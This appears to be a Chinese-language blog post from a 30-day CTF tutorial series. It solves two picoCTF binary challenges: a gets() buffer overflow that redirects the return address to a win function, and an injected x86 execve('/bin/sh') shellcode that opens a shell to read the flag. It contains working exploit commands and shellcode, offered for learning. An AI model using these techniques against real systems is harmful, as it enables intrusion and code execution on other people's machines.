iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 27
1
Security

我搶到旗子了!30天CTF入門系列 第 27

Day27[Binary Exploitation] 非法控制程式流程

  • 分享至 

  • xImage
  •  

今天的題目也是利用buffer overflow,在輸入中塞一些東西,若沒有經過檢查,可能整個程式的流程就被控制了,或是可以在裡面開shell做一些不合法的事情,寫程式對於這些檢查、控制沒有注意的話,對整個程式、系統都是非常危險的!


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

這裡可以看到要呼叫win這個函式才能print出Flag,不過這邊並沒有呼叫這個函式,但可以看到,vuln有使用到gets且也沒有做任何邊界檢查,所以我們可以利用這裡使她overflow,在透過overflow可以蓋掉return address,將retrun address改成win的位址,就可以成功印出Flag

還記得在reverse有講過stack的概念嗎,這邊會使用到

上面灰色的八格代表buf的size有32 bytes,因為沒有對輸入進行檢查,所以可以利用buffer overflow 將return address的值更改,那一般來說都不會剛好,所以這邊我裡用pwntools的一個函式來求出buf的內容到retrun address中有多少個byte

cyclic(100)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'

這個函式會生成這樣子的一個字串,那我們就丟到程式裡面看看

$ ./vuln 
Please enter your string: 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c

可以看到return address 被0x6161616c這個資料蓋過去了,所以可以知道是 laaa這邊出錯了,那要求他的位移量的話

cyclic_find('laaa')
44

所以這邊我們要輸入44個字再加上win的位址 0x080485cb 就可以在結束函式後retrun 到 win後就可以拿到Flag了,不過這邊我們不能直接輸入,因為080485cb他不是可視字元,這邊就利用p32這個函式,可以轉換成little endian 16進位的方式,所以執行後如下,直接利用python -c可以執行後面引號內的程式碼,最後再透過pipe送給./vuln,就可以成功拿到Flag了

$ python -c "from pwn import *; print('A'*44+p32(0x080485cb))" |./vuln 
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy3656a9b3}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

這題是在說可以在輸入的時候塞入一些可以執行shell的指令,而且也沒有做邊界檢查,所以我們可以在輸入的內容加入開啟shell的指令,也就是執行/bin/sh這個指令,以下提供這個指令的machine code

\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89 \ xc1 \ x89 \ xc2 \ xb0 \ x0b \ xcd \ x80 \ x31 \ xc0 \ x40 \ xcd \ x80

只要我們將串當作輸入,就可以在程式內打開shell進行一些操作

$ (echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./vuln

Enter a string!
1�Ph//shh/bin�����°
                   1�@̀
Thanks! Executing now...  
ls                     
flag.txt  vuln	vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_b766002c}

這裡可以看到在程式內部shell被開起來,並且利用shell將flag檔案印出來



上一篇
Day26[Binary Exploitation] Buffer Overflow
下一篇
Day28[Binary Exploitation] Buffer Overflow 填字遊戲!?
系列文
我搶到旗子了!30天CTF入門30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言